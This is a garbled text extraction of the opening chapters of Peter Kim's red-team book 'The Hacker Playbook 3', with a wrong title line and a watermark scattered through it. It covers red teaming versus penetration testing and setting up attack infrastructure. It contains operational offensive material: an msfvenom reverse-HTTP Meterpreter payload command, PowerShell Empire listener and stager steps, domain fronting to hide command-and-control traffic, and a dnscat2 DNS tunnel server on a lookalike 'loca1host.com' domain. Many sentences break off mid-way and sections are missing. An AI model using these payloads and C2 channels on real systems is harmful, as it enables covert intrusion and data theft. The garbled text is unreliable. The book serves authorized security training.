The Hacker Playbook 1 - Practical Guide To Penetration Testing
The Hacker Playbook 1 - Practical Guide To Penetration Testing
w.
le
ar
n-
ba
rm
ag
a.
co
m
THE
HACKER
PLAYBOOK
m
3
co
Practical Guide to
a.
Penetration Testing
ag
Red Team Edition
rm
Peter Kim
ba
n-
ar
le
w.
ww
Copyright © 2018 by Secure Planet LLC. All rights reserved. Except as permitted under
United States Copyright Act of 1976, no part of this publication may be reproduced or
distributed in any form or by any means, or stored in a database or retrieval system,
without the prior written permission of the author.
m
All rights reserved.
co
ISBN-13: 978-1980901754
a.
Book design and production by Peter Kim, Secure Planet LLC
Cover design by Ann Le
ag
Edited by Kristen Kim
Publisher: Secure Planet LLC
rm
Published: 1st May 2018
ba
Dedication
n-
To my wife Kristen, our new baby boy, our dog Dexter, and our families.
ar
w.
ww
Contents
Preface
Notes and Disclaimer
Introduction
om
Penetration Testing Teams vs Red Teams
Summary
.c
1 Pregame - The Setup
Assumed Breach Exercises
a
Setting Up Your Campaign
ag
Setting Up Your External Servers
Tools of the Trade rm
Metasploit Framework
Cobalt Strike
ba
PowerShell Empire
dnscat2
p0wnedShell
n-
Pupy Shell
PoshC2
ar
Merlin
Nishang
le
Conclusion
2 Before the Snap - Red Team Recon
w.
Monitoring an Environment
Regular Nmap Diffing
ww
Web Screenshots
Cloud Scanning
Network/Service Search Engines
Manually Parsing SSL Certificates
Subdomain Discovery
Github
Cloud
Emails
Additional Open Source Resources
Conclusion
3 The Throw - Web Application Exploitation
m
Bug Bounty Programs:
co
Web Attacks Introduction - Cyber Space Kittens
The Red Team Web Application Attacks
Chat Support Systems Lab
a.
Cyber Space Kittens: Chat Support Systems
Setting Up Your Web Application Hacking Machine
ag
Analyzing a Web Application
Web Discovery rm
Cross-Site Scripting XSS
Blind XSS
ba
XSS to Compromise
NoSQL Injections
Deserialization Attacks
ar
m
After Compromising Your Initial Host
co
Privilege Escalation
Privilege Escalation Lab
Pulling Clear Text Credentials from Memory
a.
Getting Passwords from the Windows Credential Store and Browsers
Getting Local Creds and Information from OSX
ag
Living Off of the Land in a Windows Domain Environment
Service Principal Names rm
Querying Active Directory
Bloodhound/Sharphound
ba
Pivoting in Linux
Privilege Escalation
w.
Conclusion
5 The Screen - Social Engineering
Building Your Social Engineering (SE) Campaigns
Doppelganger Domains
How to Clone Authentication Pages
Credentials with 2FA
Phishing
Microsoft Word/Excel Macro Files
Non-Macro Office Files - DDE
Hidden Encrypted Payloads
Exploiting Internal Jenkins with Social Engineering
m
Conclusion
co
6 The Onside Kick - Physical Attacks
Card Reader Cloners
Physical Tools to Bypass Access Points
a.
LAN Turtle (lanturtle.com)
Packet Squirrel
ag
Bash Bunny
Breaking into Cyber Space Kittens rm
QuickCreds
BunnyTap
ba
WiFi
Conclusion
n-
Sample Framework
Obfuscation
w.
om
PowerShell Obfuscation
PowerShell Without PowerShell:
.c
HideMyPS
Conclusion
8 Special Teams - Cracking, Exploits, and Tricks
a
Automation
ag
Automating Metasploit with RC scripts
Automating Empire rm
Automating Cobalt Strike
The Future of Automation
ba
Password Cracking
Gotta Crack Em All - Quickly Cracking as Many as You Can
n-
Conclusion
9 Two-Minute Drill - From Zero to Hero
ww
ww
w.
le
ar
n-
ba
rm
ag
a.
co
m
preface
This is the third iteration of The Hacker Playbook (THP) series. Below is an overview of
m
all the new vulnerabilities and attacks that will be discussed. In addition to the new
content, some attacks and techniques from the prior books (which are still relevant today)
co
are included to eliminate the need to refer back to the prior books. So, what’s new? Some
of the updated topics from the past couple of years include:
Abusing Active Directory
a.
Abusing Kerberos
Advanced Web Attacks
Better Ways to Move Laterally
ag
Cloud Vulnerabilities
Faster/Smarter Password Cracking
Living Off the Land
rm
Lateral Movement Attacks
Multiple Custom Labs
Newer Web Language Vulnerabilities
ba
Physical Attacks
Privilege Escalation
PowerShell Attacks
n-
Ransomware Attacks
Red Team vs Penetration Testing
Setting Up Your Red Team Infrastructure
ar
Additionally, I have attempted to incorporate all of the comments and recommendations
received from readers of the first and second books. I do want to reiterate that I am not a
w.
professional author. I just love security and love teaching security and this is one of my
passion projects. I hope you enjoy it.
ww
This book will also provide a more in-depth look into how to set up a lab environment in
which to test your attacks, along with the newest tips and tricks of penetration testing.
Lastly, I tried to make this version easier to follow since many schools have incorporated
my book into their curricula. Whenever possible, I have added lab sections that help
provide a way to test a vulnerability or exploit.
As with the other two books, I try to keep things as realistic, or “real world”, as possible. I
also try to stay away from theoretical attacks and focus on what I have seen from personal
experience and what actually worked. I think there has been a major shift in the industry
from penetration testers to Red Teamers, and I want to show you rather than tell you why
this is so. As I stated before, my passion is to teach and challenge others. So, my goals
for you through this book are two-fold: first, I want you to get into the mindset of an
attacker and understand “the how” of the attacks; second, I want you to take the tools and
techniques you learn and expand upon them. Reading and repeating the labs is only one
m
part – the main lesson I teach to my students is to let your work speak for your talents.
Instead of working on your resume (of course, you should have a resume), I really feel
co
that having a strong public Github repo/technical blog speaks volumes in security over a
good resume. Whether you live in the blue defensive or red offensive world, getting
involved and sharing with our security community is imperative.
a.
For those who did not read either of my two prior books, you might be wondering what
ag
my experience entails. My background includes more than 12 years of penetration
testing/red teaming for major financial institutions, large utility companies, Fortune 500
entertainment companies, and government organizations. I have also spent years teaching
offensive network security at colleges, spoken at multiple security conferences, been
rm
referenced in many security publications, taught courses all over the country, ran multiple
public CTF competitions, and started my own security school. One of my big passion
project was building a free and open security community in Southern California called
ba
LETHAL (meetup.com/lethal). Now, with over 800+ members, monthly meetings, CTF
competitions, and more, it has become an amazing environment for people to share, learn,
and grow.
n-
One important note is that I am using both commercial and open source tools. For every
ar
commercial tool discussed, I try to provide an open source counterpart. I occasionally run
into some pentesters who claim they only use open source tools. As a penetration tester, I
find this statement hard to accept. If you are supposed to emulate a “real world” attack, the
le
“bad guys” do not have these restrictions; therefore, you need to use any tool (commercial
or open source) that will get the job done.
w.
A question I get often is, who is this book intended for? It is really hard to state for whom
this book is specifically intended as I truly believe anyone in security can learn. Parts of
this book might be too advanced for novice readers, some parts might be too easy for
ww
advanced hackers, and other parts might not even be in your field of security.
For those who are just getting into security, one of the most common things I hear from
readers is that they tend to gain the most benefit from the books after reading them for the
second or third time (making sure to leave adequate time between reads). There is a lot of
material thrown at you throughout this book and sometimes it takes time to absorb it all.
So, I would say relax, take a good read, go through the labs/examples, build your lab, push
your scripts/code to a public Github repository, and start up a blog.
Lastly, being a Red Team member is half about technical ability and half about having
confidence. Many of the social engineering exercises require you to overcome your
nervousness and go outside your comfort zone. David Letterman said it best, “Pretending
to not be afraid is as good as actually not being afraid.” Although this should be taken
with a grain of salt, sometimes you just have to have confidence, do it, and don’t look
back.
m
co
a.
ag
rm
ba
n-
ar
le
w.
ww
Notes and Disclaimer
I can’t reiterate this enough: Do not go looking for vulnerable servers and exploits on
systems you don’t own without the proper approval. Do not try to do any of the attacks in
this book without the proper approval. Even if it is for curiosity versus malicious intent,
you can still get into a lot of trouble for these actions. There are plenty of bug bounty
programs and vulnerable sites/VMs to learn off of in order to continue growing. Even for
m
some bug bounty programs, breaking scope or going too far can get you in trouble:
co
https://www.forbes.com/sites/thomasbrewster/2015/12/17/facebook-
instagram-security-research-threats/#c3309902fb52
https://nakedsecurity.sophos.com/2012/02/20/jail-facebook-ethical-hacker/
a.
https://www.cyberscoop.com/dji-bug-bounty-drone-technology-sean-melia-
kevin-finisterre/
ag
If you ever feel like it’s wrong, it’s probably wrong and you should ask a lawyer or contact
the Electronic Frontier Foundation (EFF) (https://www.eff.org/pages/legal-assistance).
There is a fine line between research and illegal activities.
rm
Just remember, ONLY test systems on which you have written permission. Just Google the
ba
term “hacker jailed” and you will see plenty of different examples where young teens have
been sentenced to years in prison for what they thought was a “fun time.” There are many
free platforms where legal hacking is allowed and will help you further your education.
n-
Finally, I am not an expert in Windows, coding, exploit dev, Linux, or really anything
ar
else. If I misspoke about a specific technology, tool, or process, I will make sure to update
the Hacker Playbook Updates webpage (thehackerplaybook.com/updates) for anything
that is reported as incorrect. Also, much of my book relies on other people’s research in
le
the field, and I try to provide links to their original work whenever possible. Again, if I
miss any of them, I will update the Updates webpage with that information. We have such
an awesome community and I want to make sure everyone gets acknowledged for their
great work!
w.
ww
co
a.
ag
rm
ba
n-
ar
le
w.
ww
ww
w.
le
ar
n-
ba
rm
ag
a.
co
m
ww
w.
lea
r n-
ba
rm
introduction
ag
a.
co
m
In the last engagement (The Hacker Playbook 2), you were tasked with breaking into the
Cyber Kittens weapons facility. They are now back with their brand new space division
called Cyber Space Kittens (CSK). This new division took all the lessons learned from
the prior security assessment to harden their systems, set up a local security operations
center, and even create security policies. They have hired you to see if all of their security
controls have helped their overall posture.
co
From the little details we have picked up, it looks like Cyber Space Kittens has discovered
a secret planet located in the Great Andromeda Nebula or Andromeda Galaxy. This
planet, located on one of the two spiral arms, is referred to as KITT-3n. KITT-3n, whose
a.
size is double that of Earth, resides in the binary system called OI 31337 with a star that is
also twice the size of Earth’s star. This creates a potentially habitable environment with
oceans, lakes, plants, and maybe even life…
ag
With the hope of new life, water, and another viable planet, the space race is real. CSK
rm
has hired us to perform a Red Team assessment to make sure they are secure, and capable
of detecting and stopping a breach. Their management has seen and heard of all the major
breaches in the last year and want to hire only the best. This is where you come in…
ba
Your mission, if you choose to accept it, is to find all the external and internal
vulnerabilities, use the latest exploits, use chained vulnerabilities, and see if their
n-
What types of tactics, threats, and procedures are you going to have to employ? In this
campaign, you are going to need to do a ton of reconnaissance and discovery, look for
weaknesses in their external infrastructure, social engineer employees, privilege escalate,
le
gain internal network information, move laterally throughout the network, and ultimately
exfiltrate KITT-3n systems and databases.
w.
ww
Penetration Testing Teams vs Red Teams
Before we can dive into the technical ideals behind Red Teams, I need to clarify my
definitions of Penetration Testing and Red Teams. These words get thrown around often
and can get a little mixed up. For this book, I want to talk about how I will use these two
terms.
m
Penetration Testing is the more rigorous and methodical testing of a network, application,
co
hardware, etc. If you haven’t already, I recommend that you read the Penetration Testing
Execution Standard (PTES: http://www.pentest-standard.org) – it is a great walkthrough of
how to perform an assessment. In short, you go through all the motions of Scoping, Intel
a.
Gathering, Vulnerability Analysis, Exploitation, Post Exploitation, and Reporting. In the
traditional network test, we usually scan for vulnerabilities, find and take advantage of an
exploitable system or application, maybe do a little post exploitation, find domain admin,
ag
and write up a report. These types of tests create a matrix of vulnerabilities, patching
issues, and very actionable results. Even during the scope creation, penetration tests are
very well defined, limited to a one or two-week assessment period, and are generally
rm
announced to the company’s internal security teams. Companies still need penetration
testers to be a part of their secure software development life cycle (S-SDLC).
ba
expensive security tools, they still get compromised. If we look at any of the recent
breaches (http://www.informationisbeautiful.net/visualizations/worlds-biggest-data-
breaches-hacks), we see that many of these happened to very large and mature
companies. We have seen in other security reports that some compromises could have
ar
(https://www.esecurityplanet.com/network-security/almost-a-third-of-all-u.s.-businesses-
were-breached-in-2017.html). The questions I want companies to ask are if these exact
same bad guys or actor sets came after your company with the exact same tactics, could
w.
you detect it, how long would it take, could you recover from it, and could you figure out
exactly what they did?
ww
This is where Red Teams come into play. The Red Team’s mission is to emulate the
tactics, techniques, and procedures (TTPs) by adversaries. The goals are to give real
world and hard facts on how a company will respond, find gaps within a security program,
identify skill gaps within employees, and ultimately increase their security posture.
For Red Teams, it is not as methodical as penetration tests. Since we are simulating real
world events, every test can differ significantly. Some campaigns might have a focus on
getting personally identifiable information (PII) or credit cards, while others might focus
on getting domain administrative control. Speaking of domain admin, this where I see a
huge difference between Penetration Tests and Red Team campaigns. For network
pentests, we love getting to Domain Admin (DA) to gain access to the Domain Controller
(DC) and calling it a day. For Red Team campaigns, based on the campaign, we may
ignore the DC completely. One reason for this is that we are seeing many companies
placing a lot of protection around their DCs. They might have application whitelisting,
m
integrity monitoring, lots of IDS/IPS/HIPS rules, and even more. Since our mission is not
to get caught, we need to stay low key. Another rule we follow is that we almost never
co
run a vulnerability scan against the internal network. How many adversaries have you
seen start to perform full vulnerability scans once inside a compromised environment?
This is extremely rare. Why? Vulnerability scans are very loud on the network and will
a.
most likely get caught in today’s world.
ag
Another major difference in the scope is the timeline. With penetration tests, we are lucky
to get two weeks, if not one. Whereas, Red Teams must build campaigns that last from 2
weeks to 6 months. This is because we need to simulate real attacks, social engineering,
beaconing, and more. Lastly, the largest difference is the outcome of the two types of
rm
teams. Instead of a list of vulnerabilities, Red Team findings need to be geared more
toward gaps in blue team processes, policies, tools, and skills. In your final report, you
may have some vulnerability findings that were used for the campaign, but most findings
ba
will be gaps in the security program. Remember findings should be mainly for the
security program, not IT.
n-
Exploitation Local/Network
Post Exploitation Enumeration
Reporting Lateral Movement
Data
ww
Identification/Exfiltration
Domain Privilege
Escalation/Dumping
Hashes
Reporting
Scope: Scope:
Restrictive Scope No Rules*
1-2 Week Engagement 1 Week – 6 Month
Generally Announced Engagement
Identify vulnerabilities No announcement
Test Blue teams on
program, policies, tools,
and skills
*Can’t be illegal…
co
With Red Teams, we need to show value back to the company. It isn’t about the number
of total vulnerability counts or criticality of individual vulnerabilities; it is about proving
a.
how the security program is running. The goal of the Red Team is to simulate real world
events that we can track. Two strong metrics that evolve from these campaigns are Time
To Detect (TTD) and Time To Mitigate (TTM). These are not new concepts, but still
ag
valuable ones for Red Teams.
What does Time To Detect (TTD) mean? It is the time between the initial occurrence of
rm
the incident to when an analyst detects and starts working on the incident. Let’s say you
have a social engineering email and the user executes malware on their system. Even
though their AV, host-based security system, or monitoring tools might trigger, the time
ba
Time To Mitigate (TTM) is the secondary metric to record. This timeline is recorded
when the firewall block, DNS sinkhole, or network isolation is implemented. The other
valuable information to record is how the Security Teams work with IT, how management
ar
handles a critical incident, and if employees panic. With all this data, we can build real
numbers on how much your company is at risk, or how likely it is to be compromised.
le
w.
ww
Summary
The big push I want to make is for managers to get outside the mentality of relying on
metrics from audits. We all have reasons for compliance and they can definitely help
mature our programs, but they don’t always provide real world security for a company.
As Red Teamers, our job is to test if the overall security program is working.
m
As you read through this book, I want you to put yourself in the Red Team mindset and
co
focus on:
Vulnerabilities in Security not IT
a.
Simulate Real World events
Live in a world of constant Red Team infections
ag
Challenge the system… Provide real data to prove security gaps.
rm
ba
n-
ar
le
w.
ww
ww
w.
le
ar
n-
ba
rm
ag
a.
co
m
1 pregame - the setup
m
co
a.
ag
rm
ba
n-
r
eal
w.
ww
As a Red Team, we don’t really care as much about the origins of an attack. Instead, we
want to learn from the TTPs. For example, looking at public sources, we found a detailed
report from FireEye on an attack they analyzed (https://www2.fireeye.com/rs/848-DID-
242/images/rpt-apt29-hammertoss.pdf). Reviewing their analysis, we can see that the
TTPs of the malware used Twitter as part of the Command and Control (C2), images with
encryption keys, GitHub, and steganography. This is where we would build a similar
m
campaign to see if your company could detect this attack.
co
A detailed breakdown for APT attacks is MITRE’s Adversarial Tactics, Techniques, and
Common Knowledge (ATT&CK) matrix. This is a large collection of different TTPs
a.
commonly used with all sorts of attacks.
ag
rm
ba
r n-
ea
Another resource is this running list of APT Groups and Operations document from
l
suspected APT groups and their toolsets. This is a useful list for us as Red Teamers to
simulate different attacks. Of course, we might not use the same tools as documented in
the reports, but we may build similar tools that will do the same thing.
ww
ww
w.
le
ar
n-
ba
rm
ag
a.
co
m
Assumed Breach Exercises
Companies need to live in a world today where they start with the assumption that they
have already been breached. These days, too many companies assume that because of
some check box or annual penetration test, they are secure. We need to get in a state of
mind where we are always hunting, assuming evil is lurking around, and looking for these
anomalies.
co
This is where Red Team campaigns heavily differ from penetration tests. Since Red Team
campaigns focus on detection/mitigation instead of vulnerabilities, we can do some more
unique assessments. One assessment that provides customers/clients with immense
a.
benefit is called an assumed breach exercise. In an assumed breach exercise, the concept
is that there will always be 0-days. So, can the client identify and mitigate against
secondary and tertiary steps?
ag
In these scenarios, Red Teams work with a limited group of people inside the company to
rm
get a single custom malware payload to execute on their server. This payload should try to
connect out in multiple ways, make sure to bypass common AV, and allow for additional
payloads to be executed from memory. We will have example payloads throughout the
ba
book. Once the initial payload is executed, this is where all the fun begins!
n-
ar
le
w.
ww
Setting Up Your Campaign
This is one of my favorite parts of running Red Teams. Before you compromise your first
system, you need to scope out your Red Team campaign. In a lot of penetration tests, you
are given a target and you continually try to break into that single system. If something
fails, you go on to the next thing. There is no script and you are usually pretty focused on
that network.
co
In Red Team campaigns, we start out with a few objectives. These objectives can include,
but are not limited to:
a.
What are the end goal goals? Is it just APT detection? Is it to get a flag on a
server? Is it to get data from a database? Or is it just to get TTD metrics?
Is there a public campaign we want to copy?
ag
What techniques are you going to use? We talked about using MITRE
ATT&CK Matrix, but what are the exact techniques in each category?
The team at Red Canary supplied detailed information on each one
of these techniques. I highly recommend you take time and review
rm
them all: http://bit.ly/2H0MTZA
What tools does the client want you to use? Will it be COTS offensive tools
like Metasploit, Cobalt Strike, DNS Cat? Or custom tools?
ba
The best part is that getting caught is part of the assessment. There are some campaigns
n-
where we get caught 4 or 5 times and have to burn 4 or 5 different environments. This
really shows to your client that their defenses are working (or not working) based on what
results they expected. At the end of the book, I will provide some reporting examples of
ar
m
servers. The reasons I use these services are because they are generally very low cost
co
(sometimes free), allow for Ubuntu servers, allow for servers in all sorts of regions, and
most importantly, are very easy to set up. Within minutes, you can have multiple servers
set up and running Metasploit and Empire services.
a.
I am going to focus on AWS Lightsail servers in this book, due to the ease in setting up,
ability to automate services, and the amount of traffic normally going to AWS. After you
ag
have fully created an image you like, you can rapidly clone that image to multiple servers,
which makes it extremely easy to build ready-made Command and Control boxes.
rm
Again, you should make sure you abide by the VPS provider’s service terms (i.e.
https://aws.amazon.com/service-terms/) so you do not fall into any problems.
ba
https://lightsail.aws.amazon.com/
Create an Instance
n-
Once you are logged into your server, you need to install all the tools as efficiently and
repeatable as possible. This is where I recommend that you develop your own scripts to
set up things such as IPTables rules, SSL certs, tools, scripts, and more. A quick way to
ww
build your servers is to integrate TrustedSec’s The PenTesters Framework (PTF). This
collection of scripts (https://github.com/trustedsec/ptf) does a lot of the hard work for you
and creates a framework for everything else. Let’s walk through a quick example of
installing all of our exploitation, intel gathering, post exploitation, PowerShell, and
vulnerability analysis tools.
sudo su -
apt-get update
apt-get install python
git clone https://github.com/trustedsec/ptf /opt/ptf
cd /opt/ptf && ./ptf
use modules/exploitation/install_update_all
use modules/intelligence-gathering/install_update_all
use modules/post-exploitation/install_update_all
use modules/powershell/install_update_all
use modules/vulnerability-analysis/install_update_all
cd /pentest
co
The following image shows all the different modules available, some of which we
installed.
a.
ag
rm
ba
n-
If we take a look at our attacker VPS, we can see all of the tools installed on our box. If
we wanted to start up Metasploit, we can just type: msfconsole.
le
w.
ww
m
your systems. What you do want is to create an efficient and repeatable process to deploy
co
multiple machines. The best part of using Lightsail is that once you have your machine
configured to your preferences, you can take a snapshot of a machine and stand up
multiple, brand new instances of that image.
a.
If you want to get your environment to the next level, check out the team at Coalfire-
Research. They built custom modules to do all the hard work and automation for you.
ag
Red Baron is a set of modules and custom/third-party providers for Terraform, which tries
to automate the creation of resilient, disposable, secure, and agile infrastructure for Red
Teams [https://github.com/Coalfire-Research/Red-Baron]. Whether you want to build a
rm
phishing server, Cobalt Strike infrastructure, or create a DNS C2 server, you can do it all
with Terraform.
ba
Take a look at https://github.com/Coalfire-Research/Red-Baron and check out all the
different modules to quickly build your own infrastructure.
n-
ar
le
w.
ww
Tools of the Trade
There are a myriad of tools a Red Team might use, but let’s talk about some of the core
resources. Remember that as a Red Teamer, the purpose is not to compromise an
environment (which is the most fun), but to replicate real world attacks to see if a
customer is protected and can detect attacks in a very short timeframe. In the previous
chapters, we identified how to replicate an attacker’s profile and toolset, so let’s review
m
over some of the most common Red Team tools.
co
Metasploit Framework
This book won’t dive too deeply into Metasploit as it did in the prior books. Metasploit
a.
Framework is still a gold standard tool even though it was originally developed in 2003.
This is due to both the original creator, H.D. Moore, and the very active community that
supports it. This community-driven framework (https://github.com/rapid7/metasploit-
framework/commits/master), which seems to be updated daily, has all of the latest public
ag
exploits, post exploitation modules, auxiliary modules, and more.
rm
For Red Team engagements, we might use Metasploit to compromise internal systems
with the MS17-010 Eternal Blue Exploit (http://bit.ly/2H2PTsI) to get our first shell or we
might use Metasploit to generate a Meterpreter payload for our social engineering attack.
ba
In the later chapters, we are going to show you how to recompile your Metasploit
n-
If we are performing some social engineering attack, we might want to use a Word or
Excel document as our delivery mechanism. However, a potential problem is that we
might not be able to include a Meterpreter payload binary or have it download one from
le
the web, as AV might trigger on it. Also, a simple solution is obfuscation using
PowerShell:
msfvenom —payload windows/x64/meterpreter_reverse_http —format psh —
w.
We can even take this to the next level and use tools like Unicorn
(https://github.com/trustedsec/unicorn) to generate more obfuscated PowerShell
Meterpreter payloads, which we will be covered in more detail as we go through the book.
Additionally, using signed SSL/TLS certificates by a trusted authority could help us get
around certain network IDS tools: https://github.com/rapid7/metasploit-
framework/wiki/Meterpreter-Paranoid-Mode.
Finally, later in the book, we will go over how to re-compile Metasploit/Meterpreter from
m
scratch to evade both host and network based detection tools.
co
Cobalt Strike
a.
Cobalt Strike is by far one of my favorite Red Team simulation tools. What is Cobalt
Strike? It is a tool for post exploitation, lateral movement, staying hidden in the network,
and exfiltration. Cobalt Strike doesn’t really have exploits and isn’t used for
ag
compromising a system via the newest 0-day vulnerability. Where you really see its
extensive features and powers is when you already have code execution on a server or
when it is used as part of a phishing campaign payload. Once you can execute a Cobalt
rm
Strike payload, it creates a Beacon connection back to the Command and Control server.
New Cobalt Strike licenses cost $3,500 per user for a one-year license, so it is not a cheap
ba
can find more on using socat to configure these redirectors here: http://bit.ly/2qxCbCZ and
http://bit.ly/2IUc4Oe.
ea
l
w.
ww
To take your redirectors up a notch, we utilize Domain Fronting. Domain Fronting is a
collection of techniques to make use of other people’s domains and infrastructures as
redirectors for your controller (http://bit.ly/2GYw55A). This can be accomplished by
utilizing popular Content Delivery Networks (CDNs) such as Amazon’s CloudFront or
other Google Hosts to mask traffic origins. This has been utilized in the past by different
adversaries (http://bit.ly/2HoCRFi).
co
Using these high reputation domains, any traffic, regardless of HTTP or HTTPS, will look
like it is communicating to these domains instead of our malicious Command and Control
servers. How does this all work? Using a very high-level example, all your traffic will be
a.
sent to one of the primary Fully Qualified Domain Names (FQDNs) for CloudFront, like
a0.awsstatic.com, which is CloudFront’s primary domain. Modifying the host header in
the request will redirect all the traffic to our CloudFront distribution, which will ultimately
ag
forward the traffic to our Cobalt Strike C2 server (http://bit.ly/2GYw55A).
rm
ba
n-
ar
le
w.
By changing the HTTP Host header, the CDN will happily route us to the correct server.
Red Teams have been using this technique for hiding C2 traffic by using high reputation
redirectors.
ww
Two other great resources on different products that support Domain Fronting:
CyberArk also wrote an excellent blog on how to use Google App products to
look like your traffic is flowing through www.google.com, mail.google.com,
or docs.google.com here: http://bit.ly/2Hn7RW4.
Vincent Yiu wrote an article on how to use Alibaba CDN to support his
domain fronting attacks: http://bit.ly/2HjM3eH.
Cobalt Strike isn’t the only tool that can support Domain Fronting, this can
also be accomplished with Meterpreter https://bitrot.sh/post/30-11-2017-
domain-fronting-with-meterpreter/.
Note: At the time of publishing this book, AWS (and even Google) have starting
implementing protections against domain fronting (https://amzn.to/2I6lSry). This doesn’t
stop this type of attack, but would require different third party resources to abuse.
om
Although not part of the infrastructure, it is important to understand how your beacons
.c
work within an internal environment. In terms of operational security, we don’t want to
build a campaign that can be taken out easily. As a Red Teamer, we have to assume that
some of our agents will be discovered by the Blue Team. If we have all of our hosts
ga
talking to one or two C2 endpoints, it would be pretty easy to take out our entire
infrastructure. Luckily for us, Cobalt Strike supports SMB Beacons between hosts for C2
communication. This allows you to have one compromised machine communicate to the
ma
internet, and all other machines on the network to communicate through the initial
compromised host over SMB (https://www.cobaltstrike.com/help-smb-beacon). This way,
if one of the secondary systems is detected and forensics analysis is performed, they might
r
not be able to identify the C2 domain associated with the attack.
ba
A neat feature of Cobalt Strike that immensely helps Red Teams is its ability to manipulate
how your Beacons communicate. Using Malleable C2 Profiles, you can have all your
n-
traffic from your compromised systems look like normal traffic. We are getting into more
and more environments where layer 7 application filtering is happening. In layer 7, they
are looking for anomalous traffic that many times this is over web communication. What
ar
if we can make our C2 communication look like normal web traffic? This is where
Malleable C2 Profiles come into play. Take a look at this example:
https://github.com/rsmudge/Malleable-C2-Profiles/blob/master/normal/amazon.profile.
le
m
GET is generally limited to around 2048 characters.
co
The team at SpectorOps also created Randomized Malleable C2 Profiles using:
https://github.com/bluscreenofjeff/Malleable-C2-Randomizer.
a.
Cobalt Strike Aggressor Scripts
Cobalt Strike has numerous people contributing to the Cobalt Strike project. Aggressor
ag
Script is a scripting language for Red Team operations and adversary simulations inspired
by scriptable IRC clients and bots. Its purpose is two-fold: (1) You may create long
running bots that simulate virtual Red Team members, hacking side-by-side with you, (2)
you may also use it to extend and modify the Cobalt Strike client to your needs
rm
[https://www.cobaltstrike.com/aggressor-script/index.html]. For example, HarleyQu1nn
has put together a great list of different aggressor scripts to use with your post
exploitation: http://bit.ly/2qxIwPE.
ba
PowerShell Empire
n-
PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-
secure communications and a flexible architecture. On the PowerShell side, Empire
implements the ability to run PowerShell agents without needing powershell.exe, rapidly
le
For Red Teamers, PowerShell is one of our best friends. After the initial payload, all
subsequent attacks are stored in memory. The best part of Empire is that it is actively
ww
maintained and updated so that all the latest post-exploitation modules are available for
attacks. They also have C2 connectivity for Linux and OS X. So you can still create an
Office Macro in Mac and, when executed, have a brand new agent in Empire.
We will cover Empire in more detail throughout the book so you can see how effective it
is. In terms of setting up Empire, it is very important to ensure you have configured it
securely:
Set the CertPath to a real trusted SSL certificate.
Change the DefaultProfile endpoints. Many layer 7 firewalls look for the
exact static endpoints.
Change the User Agent used to communicate.
Just like Metasploit’s rc files used for automation in the prior books, Empire now supports
autorun scripts for efficiency and effectiveness.
co
Running Empire:
Starting up Empire
a.
cd /opt/Empire && ./setup/reset.sh
Exit
exit
ag
Setup Up Cert (best practice is to use real trusted certs)
./setup/cert.sh
Start Empire rm
./empire
Start a Listener
listeners
ba
Pick your listener (we’ll use http for our labs)
uselistener [tab twice to see all listener types]
uselistener http
View all configurations for the listener
n-
info
Set the following (i.e. set KillDate 12/12/2020):
KillDate - The end of your campaign so your agents autocleanup
ar
Windows Payloads:
Go to the Main menu
main
n-
Create stager available for OSX, Windows, Linux. We are going to create a
simple batfile as an example, but you can create macros for Office files or
payloads for a rubber ducky
ar
info
Configure All Settings
set Listener http
w.
.c
this .bat file on any Windows system. Of course, you would probably create an Office
Macro or a Rubber Ducky payload, but this is just one of many examples.
ga
If you don’t already have PowerShell installed on your Kali image, the best way to do so
is to install it manually. Installing PowerShell on Kali:
apt-get install libunwind8
wget http://security.debian.org/debian- ma
security/pool/updates/main/o/openssl/libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb
r
dpkg -i libssl1.0.0_1.0.1t-1+deb7u3_amd64.deb
wget http://security.ubuntu.com/ubuntu/pool/main/i/icu/libicu55_55.1-
ba
7ubuntu0.3_amd64.deb
dpkg -i libicu55_55.1-7ubuntu0.3_amd64.deb
wget
n-
https://github.com/PowerShell/PowerShell/releases/download/v6.0.2/powershell_6.0.
1.ubuntu.16.04_amd64.deb
dpkg -i powershell_6.0.2-1.ubuntu.16.04_amd64.deb
ar
dnscat2
le
This tool is designed to create an encrypted Command and Control (C2) channel over the
DNS protocol, which is an effective tunnel out of almost every network
[https://github.com/iagox86/dnscat2].
w.
C2 and exfiltration over DNS provides a great mechanism to hide your traffic, evade
ww
network sensors, and get around network restrictions. In many restrictive or production
environments, we come across networks that either do not allow outbound traffic or traffic
that is heavily restricted/monitored. To get around these protections, we can use a tool
like dnscat2. The reason we are focusing on dnscat2 is because it does not require root
privileges and allows both shell access and exfiltration.
In many secure environments, direct outbound UDP or TCP is restricted. Why not
leverage the services already built into the infrastructure? Many of these protected
networks contain a DNS server to resolve internal hosts, while also allowing resolutions of
external resources. By setting up an authoritative server for a malicious domain we own,
we can leverage these DNS resolutions to perform Command and Control of our malware.
m
co
a.
ag
rm
In our scenario, we are going to set up our attacker domain called “loca1host.com”. This
is a doppelganger to “localhost” in the hopes that we can hide our traffic a little bit more.
ba
Make sure to replace “loca1host.com” to the domain name you own. We are going to
configure loca1host.com’s DNS information so it becomes an Authoritative DNS server.
In this example, we are going to use GoDaddy’s DNS configuration tool, but you can use
n-
As seen in the image above, we now have our nameservers pointing to ns1.loca1host.com
and ns2.loca1host.com, which both point to our attacker VPS server. If you try to resolve
any subdomain for loca1host.com (i.e. vpn.loca1host.com), it will try to use our VPS
server to perform those resolutions. Luckily for us, dnscat2 listens on UDP port 53 and
does all the heavy lifting for us.
Next, we are going to need to fully set up our attacker server that is acting as our
m
nameserver. Setting up the dnscat2 Server:
co
sudo su -
apt-get update
apt-get install ruby-dev
a.
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
apt-get install gcc make
ag
